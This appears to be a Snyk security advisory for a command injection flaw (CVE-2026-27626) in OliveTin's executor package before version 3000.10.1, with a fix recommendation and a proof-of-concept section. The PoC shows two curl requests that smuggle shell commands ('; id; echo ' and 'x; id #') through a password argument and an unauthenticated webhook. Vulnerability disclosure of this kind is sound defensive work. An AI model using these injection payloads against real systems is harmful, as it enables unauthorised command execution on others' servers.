Command Injection Affecting github.com/olivetin/olivetin/service/internal/executor package, versions <3000.10.1


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.55% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMOLIVETINOLIVETINSERVICEINTERNALEXECUTOR-15363351
  • published27 Feb 2026
  • disclosed25 Feb 2026
  • creditByambadalai Sumiya

Introduced: 25 Feb 2026

CVE-2026-27626  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade github.com/OliveTin/OliveTin/service/internal/executor to version 3000.10.1 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection via the password argument type and webhook JSON extraction bypassing shell safety checks. An attacker can execute arbitrary operating system commands by supplying crafted input to the password argument or by sending specially crafted webhook JSON payloads that are processed without proper type safety checks.

Note:

This is only exploitable if the instance is configured to receive webhooks from external sources or if user registration is enabled with default authentication settings.

PoC

# Vector 1 — authenticated user with password-type argument
curl -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d '{"actionId": "run-command", "arguments": [{"name": "pass", "value": "'; id; echo '"}]}'

# Vector 2 — unauthenticated webhook
curl -X POST http://localhost:1337/webhook/git-deploy \
  -H "Content-Type: application/json" \
  -d '{"git_message": "x; id #", "git_author": "attacker"}'

References

CVSS Base Scores

version 4.0
version 3.1